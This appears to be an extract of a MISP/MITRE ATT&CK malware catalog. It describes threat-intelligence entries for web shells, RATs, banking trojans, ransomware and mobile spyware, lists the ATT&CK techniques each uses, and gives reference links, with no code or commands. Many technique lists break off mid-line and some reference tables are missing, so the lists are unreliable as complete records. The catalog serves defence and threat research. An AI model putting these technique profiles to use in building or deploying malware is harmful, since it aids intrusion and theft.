<td><a href="https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/">https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html">https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html</a></td>
</tr>
</tbody>
</table>

China Chopper - S0020

[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018) (Citation: CISA AA21-200A APT40 July 2021) (Citation: Rapid7 HAFNIUM Mar 2021)

The tag is: `misp-galaxy:mitre-malware="China Chopper - S0020"`

China Chopper - S0020 is also known as:

• China Chopper

View relationships graph

China Chopper - S0020 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-
Table 6537. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0007">Skeleton Key</a> is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton)</td>
</tr>
<tr>
<td>Functionality similar to <a href="https://attack.mitre.org/software/S0007">Skeleton Key</a> is included as a module in <a href="https://attack.mitre.org/software/S0002">Mimikatz</a>.</td>
</tr>
</tbody>
</table>

The tag is: `misp-galaxy:mitre-malware="Skeleton Key - S0007"`

Skeleton Key - S0007 is also known as:

- Skeleton Key

View relationships graph
Skeleton Key - S0007 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001" with estimative-language:likelihood-probability="almost-certain"

Table 6538. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0007">https://attack.mitre.org/software/S0007</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/skeleton-key-malware-analysis">https://www.secureworks.com/research/skeleton-key-malware-analysis</a></td>
</tr>
</tbody>
</table>

P2P ZeuS - S0016

[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)

The tag is: misp-galaxy:mitre-malware="P2P ZeuS - S0016"

P2P ZeuS - S0016 is also known as:

- P2P ZeuS
- Peer-to-Peer ZeuS
- Gameover ZeuS

View relationships graph

P2P ZeuS - S0016 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 6539. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0016">https://attack.mitre.org/software/S0016</a></td>
</tr>
</tbody>
</table>

Unknown Logger - S0130

[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)

The tag is: misp-galaxy:mitre-malware="Unknown Logger - S0130"

Unknown Logger - S0130 is also known as: 3476
Unknown Logger

View relationships graph

Unknown Logger - S0130 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6540. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0130">https://attack.mitre.org/software/S0130</a></td>
</tr>
</tbody>
</table>

Black Basta - S1070

[Black Basta](https://attack.mitre.org/software/S1070) is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. [Black Basta](https://attack.mitre.org/software/S1070) operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. [Black Basta](https://attack.mitre.org/software/S1070) affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the [Black Basta](https://attack.mitre.org/software/S1070) RaaS operators could include current or former members of the [Conti](https://attack.mitre.org/software/S0575) group. (Citation: Palo Alto Networks Black Basta August 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Minerva Labs Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta)
Black Basta - S1070 is also known as:

- Black Basta

View relationships graph

Black Basta - S1070 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with
• uses: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 6541. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1070">https://attack.mitre.org/software/S1070</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/05/06/black-basta-ransomware/">https://blog.cyble.com/2022/05/06/black-basta-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/">https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/">https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware">https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence">https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence</a></td>
</tr>
</tbody>
</table>

Cherry Picker - S0107

[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)

The tag is: *misp-galaxy:mitre-malware="Cherry Picker - S0107"*

Cherry Picker - S0107 is also known as:

• Cherry Picker

View relationships graph

Cherry Picker - S0107 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"
Zeus Panda - S0330

[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)'s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)

The tag is: misp-galaxy:mitre-malware="Zeus Panda - S0330"

Zeus Panda - S0330 is also known as:

- Zeus Panda

View relationships graph

Zeus Panda - S0330 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 6543. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0330">https://attack.mitre.org/software/S0330</a></td>
</tr>
</tbody>
</table>
SpyNote RAT - S0305

[SpyNote RAT](https://attack.mitre.org/software/S0305) (Remote Access Trojan) is a family of malicious Android apps. The [SpyNote RAT](https://attack.mitre.org/software/S0305) builder tool can be used to develop malicious apps with the malware's functionality. (Citation: Zscaler-SpyNote)

The tag is: `misp-galaxy:mitre-malware="SpyNote RAT - S0305"`

SpyNote RAT - S0305 is also known as:

- SpyNote RAT

View relationships graph

SpyNote RAT - S0305 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Contact List - T1636.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"` with estimative-language:likelihood-probability="almost-certain"

Table 6544. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0305">https://attack.mitre.org/software/S0305</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app">https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app</a></td>
</tr>
</tbody>
</table>

3PARA RAT - S0066

[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)

The tag is: `misp-galaxy:mitre-malware="3PARA RAT - S0066"`

3PARA RAT - S0066 is also known as:

- 3PARA RAT
View relationships graph

3PARA RAT - S0066 has relationships with:

- similar: misp-galaxy:rat="3PARA RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 6545. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf">http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0066">https://attack.mitre.org/software/S0066</a></td>
</tr>
</tbody>
</table>

Agent Smith - S0440

[Agent Smith](https://attack.mitre.org/software/S0440) is mobile malware that generates financial gain by replacing legitimate applications on devices with malicious versions that include fraudulent ads. As of July 2019 [Agent Smith](https://attack.mitre.org/software/S0440) had infected around 25 million devices, primarily targeting India though effects had been observed in other Asian countries as well as Saudi Arabia, the United Kingdom, and the United States.(Citation: CheckPoint Agent Smith)

The tag is: misp-galaxy:mitre-malware="Agent Smith - S0440"

Agent Smith - S0440 is also known as:

- Agent Smith

View relationships graph

Agent Smith - S0440 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"


Table 6546. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0440">https://attack.mitre.org/software/S0440</a></td>
</tr>
</tbody>
</table>

**4H RAT - S0065**

[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-malware="4H RAT - S0065"*

4H RAT - S0065 is also known as:

- 4H RAT

View relationships graph

4H RAT - S0065 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


- similar: misp-galaxy:rat="4H RAT" with estimative-language:likelihood-probability="likely"
Desert Scorpion - S0505

[Desert Scorpion](https://attack.mitre.org/software/S0505) is surveillanceware that has targeted the Middle East, specifically individuals located in Palestine. [Desert Scorpion](https://attack.mitre.org/software/S0505) is suspected to have been operated by the threat actor APT-C-23.(Citation: Lookout Desert Scorpion)

The tag is: `misp-galaxy:mitre-malware="Desert Scorpion - S0505"`

Desert Scorpion - S0505 is also known as:

- Desert Scorpion

View relationships graph

Desert Scorpion - S0505 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Control - T1582"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Video Capture - T1512"` with estimative-
Net Crawler - S0056

[Net Crawler](https://attack.mitre.org/software/S0056) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://attack.mitre.org/software/S0029) to execute a copy of [Net Crawler](https://attack.mitre.org/software/S0056). (Citation: Cylance Cleaver)

The tag is: `misp-galaxy:mitre-malware="Net Crawler - S0056"`

Net Crawler - S0056 is also known as:

- Net Crawler
- NetC

View relationships graph

Net Crawler - S0056 has relationships with:

- similar: `misp-galaxy:malpedia="NetC"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002"` with
Bad Rabbit - S0606

[Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware)

The tag is: `misp-galaxy:mitre-malware="Bad Rabbit - S0606"`

Bad Rabbit - S0606 is also known as:

- Bad Rabbit
- Win32/Diskcoder.D

View relationships graph

Bad Rabbit - S0606 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
Green Lambert - S0690

[Green Lambert](https://attack.mitre.org/software/S0690) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://attack.mitre.org/software/S0690) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021)

The tag is: misp-galaxy:mitre-malware="Green Lambert - S0690"

Green Lambert - S0690 is also known as:

- Green Lambert

View relationships graph

Green Lambert - S0690 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Login Items - T1547.015" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 6551. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0690">https://attack.mitre.org/software/S0690</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x68.html">https://objective-see.com/blog/blog_0x68.html</a></td>
</tr>
</tbody>
</table>
Saint Bot - S1018

Saint Bot ([https://attack.mitre.org/software/S1018](https://attack.mitre.org/software/S1018)) is a .NET downloader that has been used by [Ember Bear]([https://attack.mitre.org/groups/G1003](https://attack.mitre.org/groups/G1003)) since at least March 2021. (Citation: Malwarebytes Saint Bot April 2021) (Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022)

The tag is: `misp-galaxy:mitre-malware="Saint Bot - S1018"`

View relationships graph

Saint Bot - S1018 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-
Heyoka Backdoor - S1027

[Heyoka Backdoor](https://attack.mitre.org/software/S1027) is a custom backdoor—based on the Heyoka open source exfiltration tool—that has been used by [Aoqin Dragon](https://attack.mitre.org/groups/G1007) since at least 2013.(Citation: SentinelOne Aoqin Dragon June 2022)(Citation: Sourceforge Heyoka 2022)

The tag is: *misp-galaxy:mitre-malware="Heyoka Backdoor - S1027"

Heyoka Backdoor - S1027 is also known as:

- Heyoka Backdoor

View relationships graph

Heyoka Backdoor - S1027 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6553. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1027">https://attack.mitre.org/software/S1027</a></td>
</tr>
<tr>
<td><a href="https://heyoka.sourceforge.net/">https://heyoka.sourceforge.net/</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/labs/aoxin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/">https://www.sentinelone.com/labs/aoxin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/</a></td>
</tr>
</tbody>
</table>

**Action RAT - S1028**

[Action RAT](https://attack.mitre.org/software/S1028) is a remote access tool written in Delphi that has been used by [SideCopy](https://attack.mitre.org/groups/G1008) since at least December 2021 against Indian and Afghani government personnel.(Citation: MalwareBytes SideCopy Dec 2021)

The tag is: *misp-galaxy:mitre-malware="Action RAT - S1028"*

Action RAT - S1028 is also known as:

• Action RAT

View relationships graph

Action RAT - S1028 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

